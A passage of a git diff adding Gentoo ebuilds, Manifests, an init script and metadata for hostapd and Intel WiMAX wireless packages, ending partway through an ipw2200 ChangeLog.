+	#	einfo "This package now compiles against the headers installed by"
+	#	einfo "the kernel source for the mac80211 driver. You should "
+	#	einfo "re-emerge ${PN} after upgrading your kernel source."
+	#fi
+
+	if use wps; then
+		einfo "You have enabled Wi-Fi Protected Setup support, please"
+		einfo "read the README-WPS file in /usr/share/doc/${P}"
+		einfo "for info on how to use WPS"
+	fi
+}
diff --git a/net-wireless/hostapd/metadata.xml b/net-wireless/hostapd/metadata.xml
new file mode 100644
index 00000000..f20867c4
--- /dev/null
+++ b/net-wireless/hostapd/metadata.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>mobile</herd>
+	<maintainer>
+		<email>gurligebis@gentoo.org</email>
+		<name>Bjarke Istrup Pedersen</name>
+	</maintainer>
+	<longdescription>
+		User space daemon for the hostap-driver.
+		Extended IEEE 802.11 management, IEEE 802.1X Authenticator,
+		RADIUS Authentication client, RADIUS Accounting client
+	</longdescription>
+	<use>
+		<flag name='debug'>Enables debugging</flag>
+		<flag name='logwatch'>Install support files for
+			<pkg>sys-app/logwatch</pkg></flag>
+		<flag name='madwifi'>Add support for madwifi (Atheros chipset)</flag>
+		<flag name='wps'>Add support for Wi-Fi Protected Setup</flag>
+	</use>
+</pkgmetadata>
diff --git a/net-wireless/intel-wimax-binary-supplicant/Manifest b/net-wireless/intel-wimax-binary-supplicant/Manifest
new file mode 100644
index 00000000..0ed504fa
--- /dev/null
+++ b/net-wireless/intel-wimax-binary-supplicant/Manifest
@@ -0,0 +1,4 @@
+AUX 50-intel-wimax-binary-supplicant 45 RMD160 46711ead5a6004251de62705d5891a359c33814d SHA1 f719e882b255318e56c9a2bcdeed5933b2ad65b0 SHA256 91bd4adab801e226d3ebe736eec25b6da116580705cb6ef47c65fd7c2645d31e
+AUX install-to-usr-lib.patch 497 RMD160 b4ed0cbfaaf7820d4e97def5c2dda6b319c3497b SHA1 62c83eedfb166dac0ef814d14f8246abf0ee4222 SHA256 20631e0db3838f80011ee07f55243bee51fce64f02956a396578bcf14d891241
+DIST Intel-WiMAX-Binary-Supplicant-1.4.0.tar.bz2 237353 RMD160 086b294a299c45a4a239170fa13fd04bea343a01 SHA1 458edd676589d6015aed1135e8f9852dc91d9aca SHA256 e5eb91f8d07a6687c9a68126035caf4c73ea326fc4b48ab7fbbd8357d981f1ac
+EBUILD intel-wimax-binary-supplicant-1.4.0.ebuild 812 RMD160 3c580edd56cae5cc3f3d6040c45044cafbe80510 SHA1 6660c0809bd04fa9e8ddf948c7a93d483b14252f SHA256 5e9c9d5e97c90a9d28ce3c3ba0eb20deff11b32cf3d2b4628b1620559afa15b0
diff --git a/net-wireless/intel-wimax-binary-supplicant/files/50-intel-wimax-binary-supplicant b/net-wireless/intel-wimax-binary-supplicant/files/50-intel-wimax-binary-supplicant
new file mode 100644
index 00000000..a4466bdb
--- /dev/null
+++ b/net-wireless/intel-wimax-binary-supplicant/files/50-intel-wimax-binary-supplicant
@@ -0,0 +1 @@
+LD_LIBRARY_MASK=libwpa_wimax_supplicant.so.0
diff --git a/net-wireless/intel-wimax-binary-supplicant/files/install-to-usr-lib.patch b/net-wireless/intel-wimax-binary-supplicant/files/install-to-usr-lib.patch
new file mode 100644
index 00000000..d9bb5cb1
--- /dev/null
+++ b/net-wireless/intel-wimax-binary-supplicant/files/install-to-usr-lib.patch
@@ -0,0 +1,12 @@
+diff -Naur Intel-WiMAX-Binary-Supplicant-1.4.0/install_supplicant.sh Intel-WiMAX-Binary-Supplicant-1.4.0-nonlocal/install_supplicant.sh
+--- Intel-WiMAX-Binary-Supplicant-1.4.0/install_supplicant.sh	2009-01-28 19:03:57.000000000 -0500
++++ Intel-WiMAX-Binary-Supplicant-1.4.0-nonlocal/install_supplicant.sh	2009-08-20 14:05:02.000000000 -0400
+@@ -39,7 +39,7 @@
+ target=
+ 
+ DESTDIR=${DESTDIR:-}
+-lib_dir=$DESTDIR/usr/local/lib/$project_name
++lib_dir=$DESTDIR/usr/lib/$project_name
+ 
+ create_dir()
+ {
diff --git a/net-wireless/intel-wimax-binary-supplicant/intel-wimax-binary-supplicant-1.4.0.ebuild b/net-wireless/intel-wimax-binary-supplicant/intel-wimax-binary-supplicant-1.4.0.ebuild
new file mode 100644
index 00000000..50661cfc
--- /dev/null
+++ b/net-wireless/intel-wimax-binary-supplicant/intel-wimax-binary-supplicant-1.4.0.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils
+
+MY_P=Intel-WiMAX-Binary-Supplicant-${PV}
+DESCRIPTION="Authentication information for WiMax Networks"
+HOMEPAGE="http://www.linuxwimax.org/"
+SRC_URI="http://www.linuxwimax.org/Download?action=AttachFile&do=get&target=${MY_P}.tar.bz2 -> ${MY_P}.tar.bz2"
+LICENSE="IFDBL"
+SLOT="0"
+KEYWORDS="~x86"
+IUSE=""
+
+S="${WORKDIR}/${MY_P}"
+
+src_prepare() {
+	epatch "${FILESDIR}"/install-to-usr-lib.patch
+}
+
+src_install() {
+	DESTDIR=${D} ./install_supplicant.sh install || dir "install_supplicant.sh failed"
+	dodoc README || die "Failed to find README"
+	insinto /etc/revdep-rebuild
+	doins "${FILESDIR}"/50-intel-wimax-binary-supplicant || die "failed to install revdep-rebuild fix"
+}
diff --git a/net-wireless/intel-wimax-network-service/Manifest b/net-wireless/intel-wimax-network-service/Manifest
new file mode 100644
index 00000000..6728e60a
--- /dev/null
+++ b/net-wireless/intel-wimax-network-service/Manifest
@@ -0,0 +1,4 @@
+AUX wimax 433 RMD160 7c9291b4189588547c854cc36477d7c413ca6ad4 SHA1 c5d9a10d018a8144ccf441409c9db54117489dc9 SHA256 1dfa24bb9d83ad711a9331b917fc7a37ac4d439d13bb82b90d0b8dff0ebf343c
+DIST WiMAX-Network-Service-1.4.0.tar.bz2 1360859 RMD160 518678f32275e1c890c7a1f4266732a2ec9dedda SHA1 4b6e174ba7b604474ab0ced72d78c9ebfa66749d SHA256 a421b2f6e7912280cbddc6818892b4bffa4da0ff5347a9d26ddbcb81e99963ec
+EBUILD intel-wimax-network-service-1.4.0-r1.ebuild 1101 RMD160 8d588a0c4005c9fca6017ea8bc1d98d7bec2b226 SHA1 f946c9bb15cc044e2dbc11bedf45e5850948a7d5 SHA256 3568032f277f7025215d29c4f80634106af2e3c18000b0dd335e37dad0e74681
+EBUILD intel-wimax-network-service-1.4.0.ebuild 952 RMD160 01c8a7b9ca6cb8ca36263707312cc80b97fd22fd SHA1 6247a11815facc5fbd6a8ff1ea06079316ed8da6 SHA256 ba9dec9d63b0d6123dd989e71b3535845b59b233da0632b1d2bef7939a322e3e
diff --git a/net-wireless/intel-wimax-network-service/files/wimax b/net-wireless/intel-wimax-network-service/files/wimax
new file mode 100755
index 00000000..201c43a5
--- /dev/null
+++ b/net-wireless/intel-wimax-network-service/files/wimax
@@ -0,0 +1,21 @@
+#!/sbin/runscript
+
+description="WiMAX Network Service"
+
+depend() {
+	need localmount
+	after bootmisc
+}
+
+start() {
+	ebegin "Starting WiMAX Network Service"
+	[ -e /var/run/wimaxd.pid ] && rm -f /var/run/wimaxd.pid
+	start-stop-daemon --start --quiet --pidfile /var/run/wimax.pid --exec /usr/bin/wimaxd
+	eend $?
+}
+
+stop() {
+	ebegin "Stoping WiMAX Network Service"
+	start-stop-daemon --stop --quiet --pidfile /var/run/wimax.pid
+	eend $?
+}
diff --git a/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0-r1.ebuild b/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0-r1.ebuild
new file mode 100644
index 00000000..faf768f4
--- /dev/null
+++ b/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0-r1.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit linux-info multilib
+
+MY_P="WiMAX-Network-Service-${PV}"
+DESCRIPTION="Intel WiMAX daemon used to interface to the hardware"
+HOMEPAGE="http://www.linuxwimax.org/"
+SRC_URI="http://www.linuxwimax.org/Download?action=AttachFile&do=get&target=${MY_P}.tar.bz2 -> ${MY_P}.tar.bz2"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=">=dev-libs/libnl-1.1
+	>=sys-kernel/linux-headers-2.6.30-r1"
+	#is this the first headers version with /usr/include/linux/wimax.h?
+	#is it close enough for me to not care anymore?
+RDEPEND="${DEPEND}
+	net-wireless/intel-wimax-tools
+	net-wireless/intel-wimax-binary-supplicant"
+
+S="${WORKDIR}/${MY_P}"
+
+src_configure() {
+	econf --prefix=/usr --localstatedir=/var --with-libwimaxll=/usr/$(get_libdir) --with-i2400m=/usr || die "econf failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "Install failed"
+	doinitd "${FILESDIR}"/wimax || die "failed to place the init daemon"
+	dodoc README || die "Failed to find README"
+}
diff --git a/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0.ebuild b/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0.ebuild
new file mode 100644
index 00000000..7836e944
--- /dev/null
+++ b/net-wireless/intel-wimax-network-service/intel-wimax-network-service-1.4.0.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit linux-info multilib
+
+MY_P="WiMAX-Network-Service-${PV}"
+DESCRIPTION="Intel WiMAX daemon used to interface to the hardware"
+HOMEPAGE="http://www.linuxwimax.org/"
+SRC_URI="http://www.linuxwimax.org/Download?action=AttachFile&do=get&target=${MY_P}.tar.bz2 -> ${MY_P}.tar.bz2"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=">=dev-libs/libnl-1.1"
+RDEPEND="${DEPEND}
+	net-wireless/intel-wimax-tools
+	net-wireless/intel-wimax-binary-supplicant"
+
+S="${WORKDIR}/${MY_P}"
+
+src_configure() {
+	econf --prefix=/usr --localstatedir=/var --with-libwimaxll=/usr/$(get_libdir) --with-i2400m="${KV_DIR}" || die "econf failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "Install failed"
+	doinitd "${FILESDIR}"/wimax || die "failed to place the init daemon"
+	dodoc README || die "Failed to find README"
+}
diff --git a/net-wireless/intel-wimax-tools/Manifest b/net-wireless/intel-wimax-tools/Manifest
new file mode 100644
index 00000000..9debc18d
--- /dev/null
+++ b/net-wireless/intel-wimax-tools/Manifest
@@ -0,0 +1,4 @@
+DIST wimax-tools-1.4.2.1.tar.bz2 285523 RMD160 108977a0cdb28144875180500c0efa2146111ff2 SHA1 0e42bd233bd758dab67840e4406d56b5aec5ad7b SHA256 499a0879b51a9f021367365795746aa6a8c9c7009ad400f4fe850094883623e3
+DIST wimax-tools-1.4.2.tar.bz2 283674 RMD160 7dfd59f090dccb32f3f9ffb5546cfe4e72d108de SHA1 834221ef3739e3803c2c25de2ebf701f28cee897 SHA256 b1ffe56ad8ac4897011caf143b2ef33a9692fac71f1b03a6d83d459b19649330
+EBUILD intel-wimax-tools-1.4.2.1.ebuild 648 RMD160 9e4d5485f847bcdd03d5799827fc9271ad611f70 SHA1 17a9e7e052aab700f670f1df6d9cff185f2f1cff SHA256 1f567dd0a2d6d055a90e58fd3762609866d38e901e88b85f869ed46d19d242c4
+EBUILD intel-wimax-tools-1.4.2.ebuild 648 RMD160 9e4d5485f847bcdd03d5799827fc9271ad611f70 SHA1 17a9e7e052aab700f670f1df6d9cff185f2f1cff SHA256 1f567dd0a2d6d055a90e58fd3762609866d38e901e88b85f869ed46d19d242c4
diff --git a/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.1.ebuild b/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.1.ebuild
new file mode 100644
index 00000000..b19fe5bd
--- /dev/null
+++ b/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.1.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit linux-info
+
+MY_P="wimax-tools-${PV}"
+DESCRIPTION="Tools to use Intel's WiMax cards"
+HOMEPAGE="http://www.linuxwimax.org"
+SRC_URI="http://kernel.org/pub/linux/kernel/people/inaky/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=">=sys-kernel/linux-headers-2.6.29"
+RDEPEND=""
+
+S="${WORKDIR}/${MY_P}"
+
+src_configure() {
+	econf
+}
+
+src_compile() {
+	emake -j1 || die "Compile failed"
+}
+
+src_install() {
+	einstall || die "Install failed"
+	dodoc README || die "Failed to find README"
+}
diff --git a/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.ebuild b/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.ebuild
new file mode 100644
index 00000000..b19fe5bd
--- /dev/null
+++ b/net-wireless/intel-wimax-tools/intel-wimax-tools-1.4.2.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit linux-info
+
+MY_P="wimax-tools-${PV}"
+DESCRIPTION="Tools to use Intel's WiMax cards"
+HOMEPAGE="http://www.linuxwimax.org"
+SRC_URI="http://kernel.org/pub/linux/kernel/people/inaky/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=">=sys-kernel/linux-headers-2.6.29"
+RDEPEND=""
+
+S="${WORKDIR}/${MY_P}"
+
+src_configure() {
+	econf
+}
+
+src_compile() {
+	emake -j1 || die "Compile failed"
+}
+
+src_install() {
+	einstall || die "Install failed"
+	dodoc README || die "Failed to find README"
+}
diff --git a/net-wireless/ipw2200/ChangeLog b/net-wireless/ipw2200/ChangeLog
new file mode 100644
index 00000000..5c4dc899
--- /dev/null
+++ b/net-wireless/ipw2200/ChangeLog
@@ -0,0 +1,396 @@
+# ChangeLog for net-wireless/ipw2200
+# Copyright 1999-2006 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/ipw2200/ChangeLog,v 1.70 2006/09/13 12:33:35 phreak Exp $
+
+*ipw2200-1.2.0 (13 Sep 2006)
+
+  13 Sep 2006; Christian Heim <phreak@gentoo.org>
+  +files/ipw2200-1.2.0-modverdir.patch, +ipw2200-1.2.0.ebuild:
+  Version bump. Fixes #147319 (thanks David Li for reporting).
+
+*ipw2200-1.1.3 (13 Jul 2006)
+
+  13 Jul 2006; Christian Heim <phreak@gentoo.org>
+  +files/ipw2200-1.1.3-modverdir.patch, metadata.xml, +ipw2200-1.1.3.ebuild:
+  Version bump; Taking temporary maintainership
+
+  30 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+  -files/ipw2200-1.0.8-broadcast.patch,
+  -files/ipw2200-1.0.8-slabcorrupt.patch, -files/ipw2200-1.0.8-txbusy.patch,
+  -files/ipw2200-1.0.9-qos.patch, -files/ipw2200-1.0.11-debug.patch,
+  -files/ipw2200-1.1.1-diversity.patch,
+  -files/ipw2200-1.1.1-fw_endian.patch, -ipw2200-1.0.8-r1.ebuild,
+  -ipw2200-1.0.9.ebuild, -ipw2200-1.0.10.ebuild, -ipw2200-1.0.11.ebuild,
+  -ipw2200-1.0.11-r1.ebuild, -ipw2200-1.0.12.ebuild, -ipw2200-1.0.13.ebuild,
+  -ipw2200-1.1.0.ebuild, -ipw2200-1.1.1.ebuild, -ipw2200-1.1.1-r1.ebuild,
+  -ipw2200-1.1.2.ebuild:
+  Pruned old ebuilds.
+
+  22 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+  ipw2200-1.1.2-r1.ebuild:
+  Stable on x86.
+
+*ipw2200-1.1.2-r1 (11 Apr 2006)
+
+  11 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/ipw2200-1.1.2-cflags.patch, +files/ipw2200-1.1.2-scan_fix.patch,
+  +ipw2200-1.1.2-r1.ebuild:
+  Add a couple of patches from upstream.
+
+  02 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+  files/digest-ipw2200-1.1.2, Manifest:
+  Updated digest to match changed distribution file, thanks to StijnT.
+
+  26 Mar 2006; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.1.0.ebuild:
+  Stable on x86.
+
+  25 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+  -files/ipw2200-1.1.1-rtap_iface.patch, ipw2200-1.1.1-r1.ebuild:
+  Move large patch to mirrors, thanks to Halcy0n in bug #123634.
+
+*ipw2200-1.1.1-r1 (24 Mar 2006)
+
+  24 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/ipw2200-1.1.1-diversity.patch,
+  +files/ipw2200-1.1.1-fw_endian.patch,
+  +files/ipw2200-1.1.1-rtap_iface.patch, +ipw2200-1.1.1-r1.ebuild:
+  Added various updates from upstream.
+
+*ipw2200-1.1.1 (08 Mar 2006)
+
+  08 Mar 2006; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.1.1.ebuild:
+  Version bump.
+
+*ipw2200-1.1.0 (24 Feb 2006)
+
+  24 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.1.0.ebuild:
+  Version bump.
+
+  23 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+  -files/ipw2200-1.0.1-is_multicast_ether_addr.patch,
+  -files/ipw2200-1.0.1-suspend2.patch,
+  -files/ipw2200-1.0.3-is_multicast_ether_addr.patch,
+  -files/ipw2200-1.0.3-suspend2.patch,
+  -files/ipw2200-1.0.4-is_multicast_ether_addr.patch,
+  -files/ipw2200-1.0.6-a_txpow.patch, -files/ipw2200-1.0.6-broadcast.patch,
+  -files/ipw2200-1.0.6-channel_change_fw_err.patch,
+  -files/ipw2200-1.0.6-dup-without-retry.patch,
+  -files/ipw2200-1.0.6-hwcrypt-wpa-fix4.patch,
+  -files/ipw2200-1.0.6-ibss-wep.patch, -files/ipw2200-1.0.6-init_scan.patch,
+  -files/ipw2200-1.0.6-irq_override.patch,
+  -files/ipw2200-1.0.6-monitor_wep_fix.patch,
+  -files/ipw2200-1.0.6-open_frag.patch,
+  -files/ipw2200-1.0.6-pci_link-fix.patch,
+  -files/ipw2200-1.0.6-reset-mode-fix.patch,
+  -files/ipw2200-1.0.6-suspend2.patch, -files/ipw2200-1.0.7-broadcast.patch,
+  -files/ipw2200-1.0.7-wireless_ext-capa.patch, -ipw2200-1.0.1.ebuild,
+  -ipw2200-1.0.3.ebuild, -ipw2200-1.0.4.ebuild, -ipw2200-1.0.5.ebuild,
+  -ipw2200-1.0.6.ebuild, -ipw2200-1.0.6-r1.ebuild, -ipw2200-1.0.6-r2.ebuild,
+  -ipw2200-1.0.6-r3.ebuild, -ipw2200-1.0.7.ebuild, -ipw2200-1.0.7-r1.ebuild,
+  -ipw2200-1.0.8.ebuild:
+  Pruned old ebuilds.
+
+  22 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.10.ebuild:
+  Stable on x86.
+
+*ipw2200-1.0.13 (22 Feb 2006)
+
+  22 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +ipw2200-1.0.13.ebuild:
+  Version bump.
+
+*ipw2200-1.0.12 (17 Feb 2006)
+
+  17 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +ipw2200-1.0.12.ebuild:
+  Version bump.
+
+*ipw2200-1.0.11-r1 (15 Feb 2006)
+
+  15 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/ipw2200-1.0.11-debug.patch, +ipw2200-1.0.11-r1.ebuild:
+  Fix debug support.
+
+*ipw2200-1.0.11 (15 Feb 2006)
+
+  15 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +ipw2200-1.0.11.ebuild:
+  Version bump.
+
+*ipw2200-1.0.10 (09 Jan 2006)
+
+  09 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +ipw2200-1.0.10.ebuild:
+  Version bump.
+
+*ipw2200-1.0.9 (06 Jan 2006)
+
+  06 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+  +files/ipw2200-1.0.9-qos.patch, +ipw2200-1.0.9.ebuild:
+  Version bump.
+
+  17 Nov 2005; Henrik Brix Andersen <brix@gentoo.org>
+  ipw2200-1.0.8-r1.ebuild:
+  Stable on x86.
+
+*ipw2200-1.0.8-r1 (17 Nov 2005)
+
+  17 Nov 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/ipw2200-1.0.8-broadcast.patch,
+  +files/ipw2200-1.0.8-slabcorrupt.patch, +files/ipw2200-1.0.8-txbusy.patch,
+  +ipw2200-1.0.8-r1.ebuild:
+  Added a few upstream patches.
+
+*ipw2200-1.0.8 (21 Oct 2005)
+
+  21 Oct 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.0.8.ebuild:
+  Version bump.
+
+*ipw2200-1.0.7-r1 (20 Oct 2005)
+
+  20 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/ipw2200-1.0.7-broadcast.patch,
+  +files/ipw2200-1.0.7-wireless_ext-capa.patch, +ipw2200-1.0.7-r1.ebuild:
+  Patch from upstream to fix broadcast issues and compile problems with older
+  wireless extensions.
+
+*ipw2200-1.0.7 (18 Oct 2005)
+
+  18 Oct 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.0.7.ebuild:
+  Version bump.
+
+  15 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+  ipw2200-1.0.6-r3.ebuild:
+  Stable on x86, bug #108613.
+
+  08 Sep 2005; Henrik Brix Andersen <brix@gentoo.org>
+  ipw2200-1.0.6-r3.ebuild:
+  Updated to depend on >=net-wireless/ieee80211-1.0.3-r2, bug #105235.
+
+*ipw2200-1.0.6-r3 (06 Sep 2005)
+
+  06 Sep 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/ipw2200-1.0.6-a_txpow.patch, files/ipw2200-1.0.6-broadcast.patch,
+  +files/ipw2200-1.0.6-channel_change_fw_err.patch,
+  +files/ipw2200-1.0.6-dup-without-retry.patch,
+  +files/ipw2200-1.0.6-ibss-wep.patch, +files/ipw2200-1.0.6-init_scan.patch,
+  +files/ipw2200-1.0.6-irq_override.patch,
+  +files/ipw2200-1.0.6-monitor_wep_fix.patch,
+  +files/ipw2200-1.0.6-open_frag.patch,
+  +files/ipw2200-1.0.6-pci_link-fix.patch,
+  +files/ipw2200-1.0.6-reset-mode-fix.patch, +ipw2200-1.0.6-r3.ebuild:
+  Apply bugfixes from upstream, bail out if no ieee80211 kernel module is found.
+
+*ipw2200-1.0.6-r2 (02 Sep 2005)
+
+  02 Sep 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/ipw2200-1.0.6-broadcast.patch, +ipw2200-1.0.6-r2.ebuild:
+  Fix DHCP issues with some Access Points.
+
+*ipw2200-1.0.6-r1 (29 Aug 2005)
+
+  29 Aug 2005; Henrik Brix Andersen <brix@gentoo.org>
+  +files/ipw2200-1.0.6-hwcrypt-wpa-fix4.patch,
+  +files/ipw2200-1.0.6-suspend2.patch, +ipw2200-1.0.6-r1.ebuild:
+  Add fix for WPA when using hwcrypto. Allow compiling against
+  sys-kernel/suspend2-sources-2.6.13.
+
+  16 Aug 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.6.ebuild:
+  Stable on x86.
+
+  09 Aug 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.6.ebuild:
+  Added ~amd64 keyword, bug #98823.
+
+*ipw2200-1.0.6 (14 Jul 2005)
+
+  14 Jul 2005; <brix@gentoo.org> +ipw2200-1.0.6.ebuild:
+  Version bump.
+
+*ipw2200-1.0.5 (12 Jul 2005)
+
+  12 Jul 2005; <brix@gentoo.org> +ipw2200-1.0.5.ebuild:
+  Version bump.
+
+  11 Jul 2005; <brix@gentoo.org> ipw2200-1.0.1.ebuild, ipw2200-1.0.3.ebuild,
+  ipw2200-1.0.4.ebuild:
+  Block upcoming net-wireless/ieee80211 package.
+
+  24 Jun 2005; <brix@gentoo.org>
+  +files/ipw2200-1.0.1-is_multicast_ether_addr.patch,
+  +files/ipw2200-1.0.1-suspend2.patch, +ipw2200-1.0.1.ebuild:
+  Resurrected for the 2005.1 livecd.
+
+  20 Jun 2005; <brix@gentoo.org>
+  +files/ipw2200-1.0.3-is_multicast_ether_addr.patch, ipw2200-1.0.3.ebuild:
+  Backported patch to 1.0.3, bug #96495.
+
+  18 Jun 2005; <brix@gentoo.org>
+  +files/ipw2200-1.0.4-is_multicast_ether_addr.patch, ipw2200-1.0.4.ebuild:
+  Apply patch for allow compiling against linux-2.6.12.
+
+*ipw2200-1.0.4 (18 May 2005)
+
+  18 May 2005; <brix@gentoo.org> +ipw2200-1.0.4.ebuild:
+  Version bump. This release includes monitor mode and hardware-based crypto
+  support.
+
+  15 May 2005; <brix@gentoo.org> -ipw2200-1.0.1.ebuild,
+  -ipw2200-1.0.2.ebuild, -ipw2200-1.0.2-r1.ebuild:
+  Pruned old ebuilds.
+
+  05 May 2005; <brix@gentoo.org> +files/ipw2200-1.0.3-suspend2.patch,
+  ipw2200-1.0.3.ebuild:
+  Allow compiling against Software Suspend 2.1.8.7 patched kernel,
+  restructured ebuild.
+
+  04 May 2005; <brix@gentoo.org> ipw2200-1.0.3.ebuild:
+  Stable on x86.
+
+  28 Apr 2005; <brix@gentoo.org> ipw2200-1.0.2-r1.ebuild:
+  Stable on x86.
+
+*ipw2200-1.0.3 (08 Apr 2005)
+
+  08 Apr 2005; <brix@gentoo.org> +ipw2200-1.0.3.ebuild:
+  Version bump.
+
+*ipw2200-1.0.2-r1 (05 Apr 2005)
+
+  05 Apr 2005; <brix@gentoo.org> +ipw2200-1.0.2-r1.ebuild:
+  Fix problem with wrong tarball propagated on sf.net
+
+*ipw2200-1.0.2 (25 Mar 2005)
+
+  25 Mar 2005; <brix@gentoo.org> ipw2200-1.0.1.ebuild, +ipw2200-1.0.2.ebuild:
+  Version bump and fix for bug #84508.
+
+  12 Mar 2005; Henrik Brix Andersen <brix@gentoo.org> -ipw2200-1.0.0.ebuild:
+  Pruned old version.
+
+  02 Mar 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.1.ebuild:
+  Stable on x86.
+
+  25 Feb 2005; Simon Stelling <blubb@gentoo.org> ipw2200-1.0.1.ebuild:
+  added ~amd64
+
+  10 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> -ipw2200-0.11.ebuild,
+  -ipw2200-0.12.ebuild, -ipw2200-0.13.ebuild, -ipw2200-0.15.ebuild,
+  -ipw2200-0.16.ebuild, -ipw2200-0.17.ebuild, -ipw2200-0.18.ebuild,
+  -ipw2200-0.19.ebuild, -ipw2200-0.21.ebuild:
+  Pruned old versions.
+
+*ipw2200-1.0.1 (08 Feb 2005)
+
+  08 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.0.1.ebuild:
+  Version bump. This version includes preliminary WPA support.
+
+  01 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> metadata.xml:
+  Transferred ownership to brix@gentoo.org.
+
+  01 Feb 2005; Jeremy Maitin-Shepard <jbms@gentoo.org> ipw2200-1.0.0.ebuild:
+  Replaced the ebuild with the correct version of the v 0.21 ebuild.
+
+*ipw2200-1.0.0 (01 Feb 2005)
+
+  01 Feb 2005; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-1.0.0.ebuild:
+  Version bump.
+
+*ipw2200-0.21 (18 Jan 2005)
+
+  18 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-0.21.ebuild:
+  Version bump, ported to use linux-mod.eclass, split firmware from ebuild,
+  re-enabled debug, disabled yet-to-be-completed WPA and promiscuous support.
+
+  18 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-0.11.ebuild,
+  ipw2200-0.12.ebuild, ipw2200-0.13.ebuild, ipw2200-0.15.ebuild,
+  ipw2200-0.16.ebuild, ipw2200-0.17.ebuild, ipw2200-0.18.ebuild,
+  ipw2200-0.19.ebuild:
+  Block net-wireless/ipw2200-firmware in preparation for splitting firmware from
+  driver ebuild.
+
+*ipw2200-0.19 (22 Dec 2004)
+
+  22 Dec 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.19.ebuild:
+  Version bump.
+
+*ipw2200-0.18 (14 Dec 2004)
+
+  14 Dec 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.18.ebuild:
+  Version bump.  Resolves bug #73801.
+
+*ipw2200-0.16 (11 Dec 2004)
+
+  11 Dec 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.16.ebuild,
+  +ipw2200-0.17.ebuild:
+  Version bump.  Resolves bug #73801.
+
+*ipw2200-0.15 (25 Nov 2004)
+
+  25 Nov 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.15.ebuild,
+  -ipw2200-0.3.ebuild, -ipw2200-0.4-r1.ebuild, -ipw2200-0.4.ebuild,
+  -ipw2200-0.5.ebuild, -ipw2200-0.6.ebuild, -ipw2200-0.7.ebuild,
